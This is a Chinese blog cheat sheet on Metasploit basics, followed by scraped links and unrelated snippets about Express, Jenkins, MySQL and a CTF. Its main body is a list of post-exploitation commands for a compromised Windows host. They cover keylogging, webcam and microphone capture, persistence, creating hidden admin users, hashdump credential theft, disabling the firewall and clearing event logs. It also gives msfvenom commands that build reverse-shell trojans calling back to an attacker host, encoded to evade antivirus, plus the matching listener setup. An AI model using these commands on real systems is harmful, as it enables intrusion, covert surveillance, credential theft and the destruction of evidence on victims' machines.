MSF基本使用
MSF

链接数据库
linux查找文件
find / -name dabase.yml
链接数据库 db_connect -y path/database.yml
db_status 查询数据库链接状态
payload: windows/x64/meterpreter/reverse_tcp 命令 (以下命令基于这个payload)
background 后台
sessions -i 1 返回
sessions -l 列出所有session
getwd 查看远程主机当前路径
getlwd 查看本地当前路径
search -d c:\\ -f *.doc 查找文件
upload 3.jpg c:\\1.jpg 上传文件
cat test.txt 查看文件
download c:\\phpstudy\\wke.doc /root/wke.doc 下载文件
route 查看路由
getpid 查看当前进程ID
execute -H -f calc.exe 执行文件
shell 开启shell
kill杀死进程
sysinfo 列出系统信息
进程迁移
ps 查看所有正在运行的进程
getuid 获取当前进程的用户
migrate 进程号 迁移进程 explorer.exe为桌面进程
开启键盘
keyscan_start 开启键盘记录 (需要有管理员权限)
keyscan_dump 显示记录的信息
keyscan_stop 关闭键盘记录
录制声音
record-mic -d 10 录制声音10秒
开启摄像头
webcam_list 查看摄像头连接
webcam_chat 开启摄像头
webcam_stop 关闭摄像头
webcam_snap开摄像头截屏
webcam_stream -i 1 -v true
桌面截屏
screenshot 截屏
开启VNC
run vnc 开启vnc
持久化访问
run metsvc 安装持久化访问
run metsvc -r 卸载安装
另一种方法
run persistence -X -i 5 -p 445 -r ip
创建 隐藏用户
net user hacker$ hacker /add 创建隐藏用户
net localgroup admininistators hacker$ /add 添加用户到管理员组
用getgui创建用户 并分配管理员权限 开启远程桌面
run getgui -u hacker -p hacker
获取凭证(用户名和密码)
run post/windows/gather/hashdump
判断是否为虚拟机
run post/windows/gather/checkvm
获取目标主机最近的操作
run post/windows/gather/dumplinks
获取系统安装程序个补丁
run post/windows/gather/enum_applications
通过shell关闭防火墙
shell
netsh adcfirewall ser allprofiles srate off
开启端口转发
portfwd add -l 1235 -r 10.10.10.129 -p 3389
这样就把远程主机的端口 映射到本机的1235端口
清除日志
clearev 清除日志
kali链接windows桌面
rdesktop -u admin -p admin ip:port
kali命令行与窗口化切换
init 3 命令行 5桌面
msfvenom生成木马
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.10.10.128 lport=10001 -f exe > /root/config.exe
免杀木马
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 12 -b ‘\x00’ lhost=server.ngrok.cclport=00000 -f c
-p 指定payload,–e 编码器,-i 编码次数(次数越多免杀几率越高),-b 去除坏字符,lhost 服务器(ngrok默认为server.ngrok.cc) lport 隧道的端口,-f 生成指定格式(py、exe等,建议生成c)
木马的使用
设置tcp监听
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 10.10.10.128
ser lport 10001
run
远程主机运行木马
windows命令
net use 查看网络链接
net user admin 123456 /add 添加用户
net user admin 密码
net user admin /del
MSF基本使用的更多相关文章
- 免杀后门之MSF&Veil-Evasion的完美结合
本文由“即刻安全”投稿到“玄魂工作室” Veil-Evasion 是 Veil-Framework 框架的一部分,也是其主要的项目.利用它我们可以生成绕过杀软的 payload !kali 上并未安装 ...
- 用MSF进行提权
在WEB渗透中当我们拿到webshell了,我们可以试试用MSF(metasploit)来进行提权,在MSF里meterpreter很强大的! 我们先用msfvenom生成一个EXE的木马后门. ms ...
- 现代软件工程 第七章 【MSF】练习与讨论
7.7 移山开发方法——比TFS敏捷更精简 几个软件学院的学生来请教阿超,同学们自豪地说,我们要用全套TFS敏捷开发模式开发项目! 真的?阿超不敢相信. 同学: 对!我们要用全5个工作项类型 – 任 ...
- [书目20160218]微软软件研发的奥秘:MSF精髓
目录 第一部分 解决方案交付基础 第1章 什么是MSF,它适合你吗 2 1.1 MSF的历史和起源 2 1.2 为什么是“框架” 3 1.3 MSF有何不同 5 1.4 MSF第四版的要素 5 1.5 ...
- msf命令全集
一.msfconsole ? 帮助菜单 back 从当前环境返回 banner 显示一个MSF banner cd 切换目录 color 颜色转换 connect 连接一个主机 e ...
- MSF溢出实战教程
1. 进入终端,开启MSF相关服务 2. 连接数据库 3. 主机扫描 发现如果有MS08_067漏洞,就可以继续渗透 4. 开始溢出 溢出成功的话 sessions -l 查看 ...
- MSF命令 收集
一.msfconsole ? 帮助菜单 back 从当前环境返回 banner 显示一个MSF banner cd 切换目录 color 颜色转换 connect 连接一个主机 e ...
- [转]软件开发过程(CMMI/RUP/XP/MSF)是与非?
经常看到和听到大家在争论敏捷过程.RUP和CMM 哪个软件开发过程更好或者哪个过程不好,各自都有理由.争论得不亦乐乎......实际上,没有十全十美的过程,也不存在更好的过程.关键是什么样的过程适合自 ...
- [转]比较 Rational Unified Process (RUP) 和 Microsoft Solutions Framework (MSF)
文档选项 将此页作为电子邮件发送 级别: 初级 Sandra Sergi Santos, 软件工程专家, IBM 2007 年 6 月 15 日 本文来自于 Rational Edge:Micro ...
- BT5之Metasploit[MSF]连接postgresql数据库
1,先查看postgresql的端口,默认是自动开启的,端口7337 . root@bt:~# netstat -tnpl |grep postgres tcp 0 0 1 ...
随机推荐
- Express中使用session
1.安装express-session npm install express-session --save-dev //注意-g无效 2.app.jsvar session = require('e ...
- jenkins发布代码选择不同分支
jenkins上传代码分支以前都是用变量的方式,手动实现.过程就像这样 构建时候的界面就像下面这样,需要手动输入分支版本. 或者有固定的上线分支,用参数化构建 选项参数 来选择.总之这些方法比较传统, ...
- mysql linux 导出数据
1.mysql -hxx -uxx -pxx -e 'select "" name from a' db数据库 > file 2.导出的文件notepad++打开 3.新建e ...
- NSSCTF-[鹤城杯 2021]A_MISC
下载压缩包,解压需要输入密码,使用winhex打开发现不是zip的伪加密,然后使用爆破工具进行爆破得到密码 解压压缩包获得一个png打开是一个URL,常用的都知道,百度网盘的文件分享的链接,复制打开U ...
- 基于Windows系统应用的权限维持
1.dll劫持 生成dll 通过msf将dll木马上传到目标应用程序的dll文件夹里面,然后通过msf来将木马dll名称和正常dll名称进行互换 远程开启监听,然后一旦目标机器的应用程序运行就会触发d ...
- 中了勒索病毒的win7系统
- VisualStudio2019 利用代码片段管理器新建快捷命令
原文:https://www.cnblogs.com/huguodong/p/12694902.html 一.前言 VisualStudio 可以通过敲出缩写字符串,然后按两次Tab按键自动展开成一段 ...
- 面试官:Redis的共享对象池了解吗?
我正在面试间里焦急地等待着,突然听到了门外的脚步声,随即门被打开,穿着干净满脸清秀的青年走了进来,一股男士香水的淡香扑面而来. 面试官:"平时在工作中用过Redis吗?" 我:&q ...
- Excel VBA中写SQL,这些问题的方法你一定要牢记
小爬之前的文章 [Excel VBA中写SQL,这些问题你一定为此头痛过]中详细讲诉了一些常见的VBA 中使用SQL遇到的问题,这里再补充两个常见的问题场景及对应的解决方案,希望你们看了后能够思路开阔 ...
- Linux下安装mysql你又踩过多少坑【宇宙最全教程】
一.检查以前是否安装过MySql 因为cnetos7一般默认安装mariadb,所以要检查mysql或者mariadb是否安装 rpm -pa | grep -i mysql rpm -pa | gr ...